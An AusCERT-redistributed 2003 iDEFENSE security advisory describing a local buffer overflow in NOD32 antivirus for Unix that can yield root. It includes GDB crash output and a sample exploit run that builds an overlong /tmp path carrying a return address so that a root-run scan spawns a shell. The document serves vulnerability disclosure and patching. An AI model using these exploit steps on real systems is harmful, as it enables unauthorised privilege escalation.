-----BEGIN PGP SIGNED MESSAGE-----

===========================================================================
             AUSCERT External Security Bulletin Redistribution

                ESB-2003.0080 -- iDEFENSE Security Advisory
           Buffer Overflow In NOD32 Antivirus Software for Unix
                             11 February 2003

===========================================================================

        AusCERT Security Bulletin Summary
        ---------------------------------

Product:                NOD32
Vendor:                 Eset
Operating System:       Linux
                        FreeBSD
                        OpenBSD
                        NetBSD
                        UNIX
Impact:                 Root Compromise
Access Required:        Existing Account

Comment: CVE Id: CAN-2003-0062

- --------------------------BEGIN INCLUDED TEXT--------------------

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

iDEFENSE Security Advisory 02.10.03:
http://www.idefense.com/advisory/02.10.03.txt
Buffer Overflow In NOD32 Antivirus Software for Unix
February 10, 2003

I. BACKGROUND

Eset Software's NOD32 Antivirus System is a cross-platform anti-virus
application.  The Linux, FreeBSD, OpenBSD and NetBSD versions are compiled
from the same sources, which the vendor refers to as "nod32 for UNIX". 
More information is available at http://www.nod32.com/products/unix.htm .


II. DESCRIPTION

Local exploitation of a buffer overflow in NOD32 for UNIX could allow
attackers to gain super-user (root) privileges. The overflow occurs when
NOD32 parses a path with a name of length greater than 500 characters
(/tmp/AAAAA....AAA). An attacker can overwrite the first three bytes of
the eax and ecx registers, as can be seen from the following GDB output:

...
Program received signal SIGSEGV, Segmentation fault.
0x4207fa78 in strcmp () from /lib/i686/libc.so.6
(gdb) bt
#0 0x4207fa78 in strcmp () from /lib/i686/libc.so.6
#1 0x0804c2ba in scan_dir ()
#2 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) info registers
eax 0x4141414c 1094795596
ecx 0x4141414c 1094795596
... 


III. ANALYSIS

Exploitation allows local code execution with the privileges of the user
who spawned NOD32. This is possible by creating an exploit path and then
socially engineering a target user into scanning over the exploit path
using NOD32. If the attacker has write permissions to a directory that is
routinely scanned with NOD32 (such as /tmp), he or she can gain the
privileges of the scanning user (usually root).

Proof of concept exploit code has been written for the FreeBSD 4.7
platform. The following is a sample exploit run that should set up shell
code in an environment variable and spawn a shell under the privileges of
the user executing NOD32:

$ perl eggnod.pl
$ mkdir -p /tmp/`perl -e 'print "A" x 255'`/`perl -e 'print "B" x 240 .
"\xfc\xbf\xbf"'`
$ nod32 /tmp

IV. DETECTION

NOD32 Antivirus System for Unix version 1.012 and below is vulnerable. 

V. VENDOR FIX

The latest version 1.013 fixes the issue and can be downloaded from
http://www.nod32.com

VI. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
assigned the identification number CAN-2003-0062 to this issue.

VII. DISCLOSURE TIMELINE

12/03/2003	Issue disclosed to iDEFENSE
01/28/2003	Eset Software notified (webmaster@nod32.com)
01/28/2003	iDEFENSE clients notified
02/03/2003	Response received from Palo Luka (luka@eset.sk)
02/10/2003	Coordinated Public Disclosure

VIII. CREDIT

Knud Erik Højgaard (knud@skodliv.dk) discovered this vulnerability.


Get paid for security research
http://www.idefense.com/contributor.html

Subscribe to iDEFENSE Advisories:
send email to listserv@idefense.com, subject line: "subscribe"


About iDEFENSE:

iDEFENSE is a global security intelligence company that proactively
monitors sources throughout the world — from technical
vulnerabilities and hacker profiling to the global spread of viruses
and other malicious code. Our security intelligence services provide 
decision-makers, frontline security professionals and network 
administrators with timely access to actionable intelligence
and decision support on cyber-related threats. For more information,
visit http://www.idefense.com .

- -----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBPkgBffrkky7kqW5PEQIq/gCeMsnn0gKxpM25GI/QO673cEV7iAsAn15C
d5dxClPtqnk53TP0W2dmIJKS
=Smty
- -----END PGP SIGNATURE-----

- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content.  The decision to use any or all of this information is
the responsibility of each user or organisation, and should be done so in
accordance with site policies and procedures.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:

        http://www.auscert.org.au/render.html?cid=1980

If you believe that your system has been compromised, contact AusCERT or
your representative in FIRST (Forum of Incident Response and Security
Teams).

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business 
                hours which are GMT+10:00 (AEST).  On call after hours 
                for member emergencies only.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: http://www.auscert.org.au/render.html?it=1967

iQCVAwUBPkkXPSh9+71yA2DNAQH9NQP/ZIieXHLtFQYI0juiRSgfs4qcykOTwd2m
CmTVp5NTPtVNpsQcoy1HFFP4uofiaIzbDMe+mav94m8YmPkAebjgM/u5/ecsD88P
84TN1hbQVjfT5rseSKyksht3/qoTiBIAO955mEXff7BBCBIBawXSXPicbUGkO3SV
2W+z7Taebrs=
=TNhl
-----END PGP SIGNATURE-----